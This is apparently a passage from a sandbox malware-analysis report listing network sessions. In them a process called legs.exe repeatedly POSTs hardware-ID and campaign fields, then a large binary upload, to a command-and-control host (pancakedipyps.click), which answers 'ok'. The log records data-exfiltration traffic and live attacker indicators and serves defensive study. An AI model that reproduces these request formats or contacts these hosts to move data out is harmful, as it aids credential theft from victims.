6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 63 0d 0a 2d 2d 48 32 37 50 59 58 38 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f Data Ascii: --H27PYX88Content-Disposition: form-data; name="hwid"4BA8B9F431499A5CAC8923850305D13E--H27PYX88Content-Disposition: form-data; name="pid"2--H27PYX88Content-Disposition: form-data; name="lid"FATE99--dec--H27PYX88Content-Dispositio
2024-12-18 11:00:24 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j090hglhdl32frmcbno5bol1do; expires=Sun, 13-Apr-2025 04:47:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RmYTRdPv90b44BtWc2AR7163nArgx8rSAK7prK3iilXbNSGaWpWfUGk3TTAXCmGlmP66tj5hO5JbhRgAMUjNGWSD2pzlZwjsP0LSioonT3JEuxY3C7rddPzh8E2vcbWKkXTjA1fH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea61ec98c0cbe-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1458&min_rtt=1451&rtt_var=560&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2848&recv_bytes=13730&delivery_rate=1928665&cwnd=166&unsent_bytes=0&cid=f743bce7842cc9cc&ts=1274&x=0"
2024-12-18 11:00:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 11:00:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49962	104.21.23.76	443	7556	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:00:26 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=DENRBHDMS4T2J5XGE1E User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15109 Host: pancakedipyps.click
2024-12-18 11:00:26 UTC	15109	OUT	Data Raw: 2d 2d 44 45 4e 52 42 48 44 4d 53 34 54 32 4a 35 58 47 45 31 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 44 45 4e 52 42 48 44 4d 53 34 54 32 4a 35 58 47 45 31 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 45 4e 52 42 48 44 4d 53 34 54 32 4a 35 58 47 45 31 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 Data Ascii: --DENRBHDMS4T2J5XGE1EContent-Disposition: form-data; name="hwid"4BA8B9F431499A5CAC8923850305D13E--DENRBHDMS4T2J5XGE1EContent-Disposition: form-data; name="pid"2--DENRBHDMS4T2J5XGE1EContent-Disposition: form-data; name="lid"FATE99--de
2024-12-18 11:00:29 UTC	1045	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2cv3m8bauheno0aoheapshicoc; expires=Sun, 13-Apr-2025 04:47:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uGPYK5HEgGMnBT9Z2eetYRvJGt3qA0tm6oWowH3bxi1WlCX%2BP46A5AhExoHbp%2FMv21NZeKnJNBZmlA0mPXgtb%2B8VgtyPhk5%2FW7eqz%2BVzXewSeVcvBAd9fUqNXn6FmqcC5MRTkQ4j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea630191a4267-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1642&rtt_var=626&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2847&recv_bytes=16053&delivery_rate=1732937&cwnd=234&unsent_bytes=0&cid=79784e53cb987bf8&ts=3731&x=0"
2024-12-18 11:00:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 11:00:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49978	104.21.23.76	443	7556	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:00:31 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4U0M2RBLAZW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19919 Host: pancakedipyps.click
2024-12-18 11:00:31 UTC	15331	OUT	Data Raw: 2d 2d 34 55 30 4d 32 52 42 4c 41 5a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 34 55 30 4d 32 52 42 4c 41 5a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 34 55 30 4d 32 52 42 4c 41 5a 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 63 0d 0a 2d 2d 34 55 30 4d 32 52 42 4c 41 5a 57 0d 0a 43 6f 6e 74 65 6e Data Ascii: --4U0M2RBLAZWContent-Disposition: form-data; name="hwid"4BA8B9F431499A5CAC8923850305D13E--4U0M2RBLAZWContent-Disposition: form-data; name="pid"3--4U0M2RBLAZWContent-Disposition: form-data; name="lid"FATE99--dec--4U0M2RBLAZWConten
2024-12-18 11:00:31 UTC	4588	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-18 11:00:34 UTC	1041	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1cobd0pvitsjtvph1q2s04cq6f; expires=Sun, 13-Apr-2025 04:47:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hm4YOugL9qyhabr7s5638fkllqecDsRrblx8ncAc3%2FY8hxDFaPEW4%2Ffg0rnBaRh6Gf4osvw9NeV0H239X%2FEHw5ENTPK3MsW6HfhEusA2btb7QZEWFPnOUyb3Fgi9FRhYIe1d2Zf7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea6521a107291-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1983&min_rtt=1980&rtt_var=749&sent=14&recv=22&lost=0&retrans=0&sent_bytes=2848&recv_bytes=20877&delivery_rate=1454907&cwnd=218&unsent_bytes=0&cid=d600955aff5dd694&ts=2923&x=0"
2024-12-18 11:00:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 11:00:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49993	104.21.23.76	443	7556	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:00:37 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=R5QU8B9V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1193 Host: pancakedipyps.click
2024-12-18 11:00:37 UTC	1193	OUT	Data Raw: 2d 2d 52 35 51 55 38 42 39 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 52 35 51 55 38 42 39 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 35 51 55 38 42 39 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 63 0d 0a 2d 2d 52 35 51 55 38 42 39 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f Data Ascii: --R5QU8B9VContent-Disposition: form-data; name="hwid"4BA8B9F431499A5CAC8923850305D13E--R5QU8B9VContent-Disposition: form-data; name="pid"1--R5QU8B9VContent-Disposition: form-data; name="lid"FATE99--dec--R5QU8B9VContent-Dispositio
2024-12-18 11:00:43 UTC	1042	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pjln24dc52e0fh3upn6epnjvmu; expires=Sun, 13-Apr-2025 04:47:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IWUje9zpoSR0OYqPi8MCcaYVnMRxpZVEhJmaEbXLYa203uR3uncovZPMteJCr8GhEn%2FUjtVBH%2Fwonrsf3A6pRBhcohtk1HFyjPh429MUhVGrTLbl%2BZ%2BJ8rrbjI8Ekr3GtB%2FIT7Vt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea675def60f3e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1528&rtt_var=644&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=2103&delivery_rate=1910994&cwnd=213&unsent_bytes=0&cid=8af85520b94e7b2b&ts=6254&x=0"
2024-12-18 11:00:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 11:00:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50017	104.21.23.76	443	7556	C:\Users\user\AppData\Local\Temp\1001527001\legs.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:00:46 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=Y32T44A0GZGR861CV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588073 Host: pancakedipyps.click
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: 2d 2d 59 33 32 54 34 34 41 30 47 5a 47 52 38 36 31 43 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 42 41 38 42 39 46 34 33 31 34 39 39 41 35 43 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 59 33 32 54 34 34 41 30 47 5a 47 52 38 36 31 43 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 59 33 32 54 34 34 41 30 47 5a 47 52 38 36 31 43 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 64 65 63 0d 0a 2d 2d 59 Data Ascii: --Y32T44A0GZGR861CVContent-Disposition: form-data; name="hwid"4BA8B9F431499A5CAC8923850305D13E--Y32T44A0GZGR861CVContent-Disposition: form-data; name="pid"1--Y32T44A0GZGR861CVContent-Disposition: form-data; name="lid"FATE99--dec--Y
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: f1 2b e4 13 fe 3b 45 6e 8f a7 c8 75 0e 9a c4 67 a8 9d 1d 0c c7 ee 4d 85 cb 2b dc f6 90 bb 7d b3 d5 69 31 a0 46 f6 77 84 bb 58 ae ea 83 05 c6 4f 9b 83 bf 25 df 69 f8 58 98 46 2a e8 3e 1d dd 40 04 0f 8a b7 2f d9 4e 45 e8 c0 95 9e 08 bb 6d 2a 4f 2c 41 42 b3 f6 43 f1 a4 88 43 f1 a2 40 6e 0c 4a ad 85 53 4e 3b 32 5c a5 40 92 1d a1 80 bf 99 40 cd c4 e5 19 ca 33 ce a5 76 ee e9 d0 1d 6d 46 b4 9f c9 66 99 d4 49 40 bf bb 1f 70 9a e7 e8 a3 27 51 dc 17 de 3e 7e 6d dd b3 65 28 51 7d f7 71 57 81 d1 ca 88 85 ff f6 b1 2f f2 11 80 09 9b 9f 71 13 30 24 30 63 77 7f 07 c2 40 0d 6a 56 9c d5 30 47 22 28 ee a6 c6 11 79 86 fd af 9a 06 4f 7c 4f 30 e3 11 56 60 27 92 0f 87 7c 05 a9 de 1b bd 05 d7 00 7d a0 22 4e fc 30 ac ad de 17 21 8d 8c 77 fc e1 25 7b 69 f4 a5 22 fb 66 c9 9e 8c 59 Data Ascii: +;EnugM+}i1FwXO%iXF>@/NEmO,ABCC@nJSN;2\@@3vmFfI@p'Q>~me(Q}qW/q0$0cw@jV0G"(yO\|O0V`'\|}"N0!w%{i"fY
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: 49 a2 fe 48 b9 a9 53 89 5b 3d f5 8d 67 58 7e b4 2e 3c 44 17 dd 26 16 b0 8f b8 0b ce ff fa f9 6e 0e 3f 0a f5 7d 2a f0 f2 2f e1 b0 7b 85 e6 bb c4 76 08 12 17 cb 7c c6 6f ea 47 78 69 15 66 d2 db 0a 57 9e d4 05 ba a7 45 46 44 6c 1e bc 8c bc 5d f7 ac 20 fc 1b 75 26 7d 8e a5 8e 3a b5 2e ce b0 db d3 82 be ba 1f 9f 46 9b 27 36 7f 31 14 5d 19 96 a1 0b 7d cc a6 cc 10 dc 78 c1 25 05 0d c8 b1 ad 75 ba d2 66 bb b4 7f e3 5e dd 7c 68 62 f0 cc cd 8a 8d 6b 3e ed a7 8f 94 d8 6f 8f 17 cd ff 78 c6 f2 97 28 2e 76 04 f8 49 9f a5 9f 1a 03 cf 9c 93 e7 62 0d d6 2c 9f da ac ff 1d 49 c8 d4 4f b0 4e 46 95 66 1e 02 be 3f d9 4b a3 fb 00 dc e3 d9 95 e4 5f f7 5f b9 9c 11 ea 36 00 96 ed bd 13 a0 23 e0 12 38 34 78 ef 90 53 ea 78 82 3a 0e 98 70 ca a4 8e fe 77 a7 cd 43 1c 7c 41 08 dc 21 81 Data Ascii: IHS[=gX~.<D&n?}*/{v\|oGxifWEFDl] u&}:.F'61]}x%uf^\|hbk>ox(.vIb,IONFf?K__6#84xSx:pwC\|A!
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: f3 af ff c7 50 ab cf 72 f8 5d 93 57 6a 87 b2 00 f1 a3 57 4c 0d 50 c7 4d 0e 68 81 d8 5f 82 f8 2f f3 61 13 cf 71 3e 9f 2b d5 5a 0f b7 bc 6a b8 49 12 e3 8a f3 1f 50 20 f2 5a 7b 4d 8d 27 0f 81 7c af 50 da 13 36 2c f6 7c 44 e6 af 3c c3 76 00 46 be 75 ed e8 60 24 48 ad 7d 73 2a e9 7a ac 82 7a 02 a0 b6 1a 45 7f 21 75 12 d4 c3 aa bd e6 12 1b 43 ff f6 48 de e4 59 d0 1a 5a 3f 47 27 19 7d 84 93 49 e9 2c c3 1b c1 f5 8b e1 9c bc 0c 3d de 8c 98 88 a6 b6 e5 c4 c5 23 49 73 61 de 3f d7 1b 75 49 2a 5b 39 3e 0b 1e 49 79 3f 6c 86 c4 b6 2e 65 f7 5c 2c d4 04 ab 30 21 e1 b3 1b 9c 7f 37 b6 97 5d 94 fa 65 5e e5 f5 c5 e1 9f 66 20 08 11 b8 c8 d8 d4 19 16 97 a4 ce 87 89 be 80 a4 26 70 37 0b 84 f2 2e aa e4 de 00 1a 29 bb a4 fe 88 fc d9 b4 88 1f e6 06 d7 52 08 c3 dc c9 af 73 c3 c5 bb Data Ascii: Pr]WjWLPMh_/aq>+ZjIP Z{M'\|P6,\|D<vFu`$H}szzE!uCHYZ?G'}I,=#Isa?uI[9>Iy?l.e\,0!7]e^f &p7.)Rs
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: d5 77 e3 00 ea fa 3b 5e 87 50 bd 45 8b 16 fc 9a c2 e4 ef 53 a8 91 34 ee 82 08 51 33 23 a8 df 00 39 ba ad 2e f5 e6 55 60 64 06 65 3c d0 c0 3c a2 6e 5c 76 be b5 4b 88 8a 2b e5 9d 0d f9 df c2 71 a3 55 1c 70 b5 85 1d 40 a2 53 c2 65 8d 0a b4 8b 80 fa 42 01 ba cc 9b 71 9a 6c 02 0a 24 ff fe e0 e3 7a 8c 0c 6e 75 a7 d6 70 b5 f3 29 34 38 a8 21 00 e1 c9 86 75 d5 1d 32 50 46 29 90 14 8f c5 f0 1c dd 6a 09 4e 7d a1 33 fb f3 7a 23 ed 85 ed 81 aa ce 58 ae e3 7c 90 7a 08 4e ce dc 0c 97 51 2f 15 a4 96 3c e9 2e 17 c5 54 40 7c 6b c5 e5 92 e4 c3 88 cd 63 2b 6e 0e 11 4c a1 36 18 98 49 c5 a7 7b cf d7 50 6c 53 1a c2 45 46 ce dd 48 21 4b 0b 1f e6 e2 b5 30 3d 7a c2 0d 45 22 a7 f0 47 0f d7 ef aa d6 dd ef 41 dc 8d ea 7a 4e f8 77 28 14 11 2a 86 75 9a 2f 7b 66 de 2f 9a 8b b1 1c 08 51 Data Ascii: w;^PES4Q3#9.U`de<<n\vK+qUp@SeBql$znup)48!u2PF)jN}3z#X\|zNQ/<.T@\|kc+nL6I{PlSEFH!K0=zE"GAzNw(*u/{f/Q
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: 8e 6a fe 76 68 6b 5a 85 2b ce 77 57 63 53 ce 3c 44 88 17 48 2d a1 18 a3 f7 e2 08 d7 ff a8 c5 46 0b 8c cf 3f 9c 35 af e9 32 53 5a 2f 1f 3c ff 3b 6d 71 cd b2 14 9a 2f 80 db 0e 47 2e 67 f8 a0 2b f6 58 04 2d 5f b9 62 83 07 2f cb fe 3d 58 ef 86 7c 35 3b 10 92 04 92 f8 d1 72 f6 be 8a 2f 63 f6 e1 ba 16 c4 d6 f8 51 fe 44 88 f7 7f b8 4e a3 a9 a2 6f ab d6 8c 9d 94 d6 68 73 60 6e d2 d5 7a f8 86 cf 66 4b fc c5 5b e4 3e 93 46 8b 3c 42 6a 00 c7 f2 99 9a 7a 53 76 5c 6c 6c 78 8e 11 35 36 28 43 02 ff ab bb 48 7b b5 98 d0 d6 ba a1 d7 42 c6 09 5c 1a 55 9b fb 05 a6 2f 63 9e 2b 0a 82 c4 87 54 8e f0 2c 89 cc b0 12 06 03 aa 02 f0 d9 b4 a6 2e fa e1 76 93 90 c3 73 d7 4c 4d b0 70 22 b4 a3 14 84 90 82 69 31 f0 1e 81 a4 7d 04 1c d0 b9 05 31 3f a9 82 7d 02 a6 0e 80 39 fc e9 36 1a f8 Data Ascii: jvhkZ+wWcS<DH-F?52SZ/<;mq/G.g+X-_b/=X\|5;r/cQDNohs`nzfK[>F<BjzSv\llx56(CH{B\U/c+T,.vsLMp"i1}1?}96
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: e0 bf 81 0c f7 0f ea 60 d6 02 47 d5 46 1a 14 71 db 39 c2 0d a6 99 32 f2 af b2 2a f8 df 97 ad f1 88 e2 85 49 65 7c 14 6a 3b 56 4d bb 49 cd 25 72 72 e5 c7 3b aa ba 1c 65 11 6f b8 72 da 78 3e aa b3 7d ef 4e d3 cb af a5 3a b7 df 71 9e 89 0d 37 1f 11 69 79 03 0e f6 46 2b cc fd 34 2c a9 c2 1c 40 89 24 e2 70 44 a6 52 91 37 e6 b9 94 fd 17 43 3c f6 2c 59 b7 77 cd cb 83 3f a1 97 49 eb 41 25 d1 21 56 f3 19 58 48 be 1c c4 86 bf 1e f7 47 d0 ce 1c 7e b5 63 39 61 b7 fb fb 54 4b 92 09 1a 29 38 b3 45 b6 65 aa 24 7a 54 4a f6 bb 02 86 ff ac 2a a4 6a 41 ec d2 9a 2e 7d 5d d3 59 22 17 1d 27 c4 59 e8 8b 72 96 7e e2 27 59 a7 e6 01 2e 3f a2 42 3c 43 39 c2 fa 7c 80 1d 20 94 20 9b c3 f3 8b 5e d1 61 35 53 fe 9d f1 41 ea b5 2b 87 01 cc 91 eb 73 e3 0e cb 39 88 01 12 6b a8 d5 ba fc c8 Data Ascii: `GFq92Ie\|j;VMI%rr;eorx>}N:q7iyF+4,@$pDR7C<,Yw?IA%!VXHG~c9aTK)8Ee$zTJjA.}]Y"'Yr~'Y.?B<C9\| ^a5SA+s9k
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: 6f d7 e4 a7 db 51 10 d5 4e 72 d2 80 04 f7 11 c6 a0 af 2f 1a 35 52 01 10 85 64 35 36 ce c2 8f 01 8a a4 6f ba 30 87 85 5e 40 51 b7 85 c0 0c 9c 02 39 45 02 ec da 93 89 0e b1 38 f5 17 1a 52 26 e8 ef b3 d9 a0 0d 69 56 91 9f 6c 99 84 3e f3 59 f2 dd 72 a2 e0 b4 21 da b9 93 69 82 e2 15 ed 19 cc af ed 3c a2 97 04 35 26 d0 00 3c b5 ea b9 55 61 37 b5 09 c1 52 c7 ac d1 e6 a0 c7 ef 82 a5 38 db b0 ed 6b f9 08 4a 12 aa 57 d8 c3 a8 8b 2d 7f eb 12 08 e7 bf e9 79 41 7b f8 ce 32 b7 fb 26 7f 08 e5 40 1f 34 65 89 fb 39 b1 8a 5c 3b 20 7e 3f dc 5f 82 c3 ac e4 b7 6f b3 01 58 e8 e7 33 92 5a 46 84 b1 06 22 31 c0 84 57 2e 49 b5 1f a9 15 4e ad 45 b7 a0 b9 b3 20 87 96 4a 48 39 41 8d 4c 9e b3 f8 c0 f8 ee 9a b3 0c 69 12 f6 16 ba be 0a de a6 22 87 98 a2 b7 28 16 ff 50 97 93 7e 39 d2 82 Data Ascii: oQNr/5Rd56o0^@Q9E8R&iVl>Yr!i<5&<Ua7R8kJW-yA{2&@4e9\; ~?_oX3ZF"1W.INE JH9ALi"(P~9
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: c5 d4 b2 3d 85 6e a3 b5 8d a3 a5 f3 ce b4 68 f7 5b 72 29 40 22 4e 96 7f 78 f4 43 4f 96 44 88 b6 4d 45 e8 ec 5d a2 b6 98 2b c7 f9 94 af d8 89 71 4e b9 10 67 cd e9 87 ff 4f 06 22 fc 91 d2 52 25 04 8c 1d fd 55 39 7f dc a4 3b 28 82 64 6d e9 6a 45 88 9a ff 51 01 79 1a 0d 72 de 90 f4 af bc 88 89 fe a4 b2 16 f0 a0 34 e2 0e d9 0a 69 3b 78 5b bf ad f5 08 8a 50 dd 2e 73 cb e5 4d 1e 08 2b 7a 40 cb 47 a1 f4 6e 18 36 b0 26 b0 a7 40 a8 bf 10 50 5e 06 05 e1 98 ff bd 02 87 d4 86 f8 75 ac 1f 02 46 6e 37 33 54 07 fa 41 19 b7 70 9d c9 ce 23 87 30 a4 7e 86 b1 dd 5b 3a 04 ab 21 70 5d 9a 6d 23 66 64 95 dd cb 7e 13 ce c7 65 24 ea 3e f0 bc 6c 2d b9 7c 36 02 b5 f0 b6 50 6e 0c 31 ac a2 9f 4a 6b db c7 7b a9 dc 76 44 9d 9a 88 f8 a4 43 f9 d8 0a dd ad 60 9c 1e 90 f0 66 3f ca 58 f6 52 Data Ascii: =nh[r)@"NxCODME]+qNgO"R%U9;(dmjEQyr4i;x[P.sM+z@Gn6&@P^uFn73TAp#0~[:!p]m#fd~e$>l-\|6Pn1Jk{vDC`f?XR
2024-12-18 11:00:46 UTC	15331	OUT	Data Raw: 39 a0 16 1d 2f 98 7d 74 ad 9e 81 89 56 55 2e 98 a3 97 bc 12 7d 56 bb 7c 6c 29 d0 ef 90 99 85 02 48 9c 42 d2 4f 62 0c 79 8c eb 5a df ad cb fa 94 8b a7 06 0c 11 fe 97 0b e8 45 fb 3f ff e8 16 00 2f 5c 68 82 9c 8b 22 73 3f 77 a4 52 a3 a9 82 e0 38 8c fb 77 62 3a a5 b5 be f6 be 18 81 57 d0 fd b9 fb 13 b7 af 1a 1b 71 4f 50 58 96 53 9c 86 7b cd 74 c4 86 be 3c ad e3 ae 8f 15 49 ee f5 33 13 22 04 a6 5f 88 47 03 7c b7 ff 7c df 83 f3 c5 50 e8 bf 9b e7 47 12 a6 51 31 82 40 ff 88 1d c6 90 79 c7 ba 0a 80 d2 06 05 26 3e f1 2e 9d 9f 94 4e aa 9d e0 e8 fd bb 05 91 9e 40 c0 23 98 51 b2 f8 50 ca 73 bd 44 02 be d0 c2 78 83 c0 07 e3 